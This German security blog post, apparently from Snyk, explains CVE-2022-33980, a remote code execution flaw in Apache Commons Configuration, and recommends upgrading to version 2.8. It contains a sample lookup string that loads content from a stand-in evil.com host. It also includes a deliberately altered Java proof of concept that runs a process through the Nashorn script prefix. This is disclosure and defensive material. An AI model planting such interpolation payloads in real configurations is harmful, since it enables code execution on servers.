Skip to main content

CVE-2022-33980: Die RCE-Sicherheitslücke in der Apache Commons Configuration im Detail

Artikel von

Kyle Suero

blog feature security alert purple

8. Juli 2022

0 Min. Lesezeit

Bevor wir uns die Details dieser Sicherheitslücke ansehen, möchten wir klarstellen: Es besteht kein Grund zur Panik. Viele Systeme erlauben verschiedene Arten von Code in Konfigurationsdateien, und es gibt legitime Anwendungsfälle für die Einbindung von Zeichenfolgen- und Variableninterpolation in die Konfiguration von Anwendungen und Systemen. Dies ist nicht einfach Log4Shell 2.0. Es geht um die Manipulation einfacher Konfigurationen. Wenn jemand Ihre Konfiguration oder die dynamischen Ressourcen, auf die sie möglicherweise verweist, ohne großen Aufwand ändern kann, haben Sie wahrscheinlich größere Probleme.

Sicherheitslücke in der Apache Commons Configuration

In Konfigurationsdateien von Apache Commons (in den Versionen 2.4 bis 2.7) ist mithilfe der standardmäßig aktivierten Variableninterpolation eine beliebige Codeausführung möglich. Die Ursache ist insbesondere die Funktion interpolate in der Klasse ConfigurationInterpolator.

In einem normalen Szenario erhält die Funktion interpolate einen Objektwert mit Variablen, die anschließend ersetzt werden, sofern sie aufgelöst werden können. Das Ergebnis ist ein übergebener Wert, in dem die Variablen ersetzt wurden – nützlich etwa bei unterschiedlichen Versionen in Entwicklungs- und Produktionsumgebungen. Kurz gesagt: Mit der Interpolationsfunktion lassen sich Konfigurationsparameter dynamisch auswerten. Dafür gibt es viele legitime Gründe.

Wenn diese Suchvorgänge jedoch über eine von Angreifern kontrollierte Konfigurationsdatei erfolgen, kann das erheblichen Schaden anrichten. Beispielsweise verwendet ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} das URL-Präfix, mit dem sich externe Dateien und Konfigurationswerte laden lassen. Erlangt jemand durch einen Angriff (etwa eine Subdomain-Übernahme) die Kontrolle über die angegebene URL, kann die Person möglicherweise beliebigen Code auf Anwendungsservern ausführen. Das kann anschließend zu einer Ausbreitung im Netzwerk und einer weiteren Kompromittierung führen.

Neben dem URL-Suchpräfix sind standardmäßig weitere Präfixe aktiviert, um DNS-Einträge aufzulösen und Skripte auszuführen. Bei einer von Angreifern kontrollierten Konfiguration kann das verheerende Folgen haben.

Achten Sie auf eine ordnungsgemäße Bereinigung von Konfigurationen und bleiben Sie bei dynamischen Werten wachsam. Eine URL mag heute zu Ihrer Organisation gehören. Läuft die Domainregistrierung jedoch ab, kann ein Angreifer dynamische Konfigurationen kompromittieren, indem er sich die Domain sichert und schädliche Inhalte unter der ehemals legitimen URL bereitstellt.

Proof of Concept für die Apache Commons Configuration

Von Java 8 bis Java 15 war die Nashorn-Script-Engine standardmäßig in Java enthalten. Skripte lassen sich daher ohne zusätzlichen Aufwand ausführen. Nashorn bietet verschiedene Engines zum Ausführen von Skripten. Die folgenden Beispiele verwenden JavaScript und Nashorn, mit dem sich Java-Code ausführen lässt.

Im folgenden Beispiel verwende ich die Funktion interpolate(), um solche Skripte auszuführen. Der JavaScript-Code 5 + 4 ergibt 9. Der Java-Code mit nashorn führt den ProcessBuilder aus, der auf meinem Mac den Taschenrechner startet.

public static void main(String[] args) {
    InterpolatorSpecification ips = new InterpolatorSpecification.Builder()
        .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
        .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().valueš())
           .create();

   ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(ips);
   System.out.println(interpolator.interpolate("${script:javascript: 5 + 4}\n"));
   System.out.println(interpolator.interpolate("${script:nashorn: new 
javâ.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"));
}

Hinweis der Redaktion: Um den obigen Code zu testen, müssen Sie das „a“ in „java“ und das „s“ in „values“ ersetzen.

Das zweite Beispiel zeigt, wie eine schwerwiegende Sicherheitslücke zur beliebigen Codeausführung entstehen kann, wenn ein Benutzer die Eingabe der Funktion interpolate() beeinflusst. Einen Taschenrechner zu starten, ist zwar nicht besonders aufregend, doch dieselbe Technik lässt sich für einen Reverse-Shell-Angriff oder Schlimmeres einsetzen.

Terminal mit Java-Ausgabe neben einem Taschenrechner, der null anzeigt

Beachten Sie, dass Nashorn ab Java 15 nicht mehr standardmäßig verfügbar ist. Diese Skripte werden daher nur ausgeführt, wenn Sie selbst eine Script-Engine bereitstellen. Viele Unternehmen sind jedoch nach wie vor auf ältere Versionen wie Java 8 angewiesen, was ein ernstes Problem darstellen kann. Das ist ein gutes Beispiel dafür, warum Sie eine möglichst aktuelle Java-Version wie Java 17 (die neueste LTS-Version) verwenden sollten.

Apache Commons Configuration aktualisieren

Dieses Problem sollte ab Version 2.8 behoben sein, da die neueste Version die Präfixe URL, DNS und script standardmäßig deaktiviert. Für andere Arten von Suchvorgängen müssen die Systemeigenschaften geändert werden, damit sie ausgeführt werden können. Die Einschränkung der standardmäßig verfügbaren Suchpräfixe reduziert die Auswirkungen schädlich manipulierter Konfigurationsdateien erheblich.

Mit einem Scan von Snyk können Sie feststellen, ob diese Sicherheitslücke in Ihrem Stack vorhanden ist. Wird sie erkannt, aktualisieren Sie auf Version 2.8 und führen Sie snyk monitor in der CLI aus, um Ihre Produktionsumgebung weiterhin zu überwachen.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Warum KI-Coding-Agenten immer wieder fehlerhafte Zugriffskontrollen schreiben

KI-Coding-Agenten können Autorisierungslogik erzeugen, die kompiliert und die Prüfung besteht, dabei aber die Daten eines Mandanten für einen anderen offenlegt. Erfahren Sie, warum fehlerhafte Zugriffskontrollen schwer zu erkennen sind und wie Sie sie verhindern.